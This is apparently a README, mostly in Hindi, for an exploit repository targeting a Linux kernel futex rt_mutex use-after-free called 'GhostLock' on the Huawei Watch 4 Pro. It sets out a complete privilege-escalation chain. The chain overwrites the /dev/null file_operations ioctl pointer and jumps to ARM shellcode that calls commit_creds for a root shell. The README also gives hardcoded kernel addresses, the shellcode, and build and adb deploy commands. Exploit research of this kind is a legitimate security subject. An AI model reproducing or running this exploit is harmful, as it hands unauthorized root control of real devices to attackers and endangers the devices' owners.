
CVE-2026-43499 (GhostLock) — Linux kernel futex PI rt_mutex UAF ARM32 विशेषाधिकार वृद्धि अनुसंधान जो Huawei Watch 4 Pro (kernel 5.4.210) को लक्षित करता है
Linux कर्नेल futex PI rt_mutex Use-After-Free भेद्यता रिसर्च और एक्सप्लॉइट डेवलपमेंट, जिसका लक्ष्य Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, कर्नेल 5.4.210 है।
kernel/locking/rt_mutex.c में remove_waiter() प्रॉक्सी-लॉक रोलबैक के दौरान
waiter->task के बजाय गलती से current का उपयोग करता है, जिससे waiter टास्क पर
pi_blocked_on साफ़ नहीं हो पाता। इससे waiter का कर्नेल स्टैक फ़्रेम मुक्त होने के
बाद task_struct से स्टैक-आवंटित rt_mutex_waiter तक एक डैंगलिंग पॉइंटर बना
रह जाता है — एक क्लासिक स्टैक Use-After-Free।
futex(FUTEX_CMP_REQUEUE_PI) के
माध्यम से EDEADLK रोलबैक ट्रिगर करें; waiter का pi_blocked_on मुक्त किए गए
स्टैक की ओर इंगित करता है।prctl(PR_SET_NAME) (विकल्प 15, अनप्रिविलेज्ड) का उपयोग
करें, जिससे फ़ेक waiter के task/lock/prio फ़ील्ड ओवरराइट हो जाते हैं।sched_setattr() PI चेन वॉक ट्रिगर करता है; फ़ेक
waiter को एक फ़ोर्ज्ड rt_mutex में एनक्यू किया जाता है जो कर्नेल के
file_operations स्ट्रक्चर को ओवरलैप करता है। रेड-ब्लैक ट्री इंसर्शन waiter
के कर्नेल स्टैक एड्रेस को fops->unlocked_ioctl में लिखता है।ioctl()
कॉल करें, जो ओवरराइट किए गए unlocked_ioctl पॉइंटर के माध्यम से
एक्ज़ीक्यूटेबल कर्नेल स्टैक पर मौजूद शेलकोड में डिस्पैच होता है।commit_creds(waiter) कॉल करता है, जहाँ
waiter के पहले फ़ील्ड (rb_insert_color द्वारा सेट) uid/gid = 0 वाला एक फ़ेक
struct cred बनाते हैं।fops->unlocked_ioctl को waiter स्टैक एड्रेस से ओवरराइट करता है)ioctl(null_fd, IOCTL_CMD, 0) के माध्यम से शेलकोड में डिस्पैच -> commit_creds(&init_cred) -> रूट शेल)| प्रॉपर्टी | मान |
|---|---|
| डिवाइस | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| कर्नेल | 5.4.210 (32-bit ARM) |
| KASLR | अक्षम |
| PAN/SMAP | अनुपस्थित |
| PXN | 0xc1b00000+ पर अनुपस्थित (स्टैक/BSS एक्ज़ीक्यूटेबल) |
| CFI/PAC | अनुपस्थित |
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014c898 (true commit_creds entry)
override_creds 0xc014cac8 (leaf helper immediately following commit_creds)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD 0x01B17E60 (INIT_CRED + 0x40000000)
.
├── README.md # Project documentation
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ ├── nebula_poc.c # Nebula team reference POC
│ └── variants/ # Research exploit variants & performance tests
│ ├── ghostlock_v11_kgsl_preadv2.c
│ ├── ghostlock_v6a_kgsl_getdents64.c
│ ├── ghostlock_v7_clock_adjtime.c
│ └── ...
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # Capstone/Keystone-based reverse engineering
│ ├── *.py # Disassembly and verification scripts
│ └── *.txt # Extracted tables and scan logs
├── references/
│ ├── ghostlock/ # Earlier exploit iterations & research notes
│ ├── ref_tc3650/ # TC3650 ARM32 reference materials
│ └── ref_oneplus_aarch64/ # OnePlus / Oppo AArch64 GhostLock references
└── tools/
└── fetch_missing.sh # Zig-based musl toolchain compilation script
क्रॉस-कंपाइलेशन GCC या Zig का उपयोग करते हुए:
# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
waiter+0x18 पर स्टैम्प किया गया स्थिति-स्वतंत्र ARM शेलकोड:
sub r0, r1, #0x40000000 @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014c898 @ true commit_creds entry
ioctl(null_fd, cmd, arg) f_op->unlocked_ioctl(filp, cmd, arg) को डिस्पैच करता है, तो रजिस्टर r1 में cmd आर्ग्युमेंट होता है।cmd = 0x01B17E60 सेट करके, sub r0, r1, #0x40000000 (एन्कोडिंग 0xe2410101, शून्य null बाइट्स) r0 = 0xc1b17e60 (&init_cred) की गणना करता है।commit_creds(&init_cred) पूर्ण क्षमताओं और स्वच्छ SELinux सुरक्षा संदर्भ के साथ रूट क्रेडेंशियल्स इंस्टॉल करता है, और साफ़ तौर पर do_vfs_ioctl (lr = 0xc031c8c0) पर लौटता है।इस वेंडर कर्नेल के struct file_operations में ऑफ़सेट +0x24 पर एक अतिरिक्त 4-बाइट फ़ील्ड है (poll और unlocked_ioctl के बीच), जो मानक Linux 5.4 के सापेक्ष सभी बाद के सदस्यों को 4 बाइट्स खिसका देता है:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
यह ashmem और null fops हैंडलरों को डिसअसेम्बल करके सत्यापित किया गया था।
यह रिपॉज़िटरी केवल सुरक्षा अनुसंधान और शिक्षा के लिए है। इन तकनीकों का उपयोग उन उपकरणों पर न करें जो आपके स्वामित्व में नहीं हैं या जिनका परीक्षण करने के लिए आपके पास अधिकार नहीं है।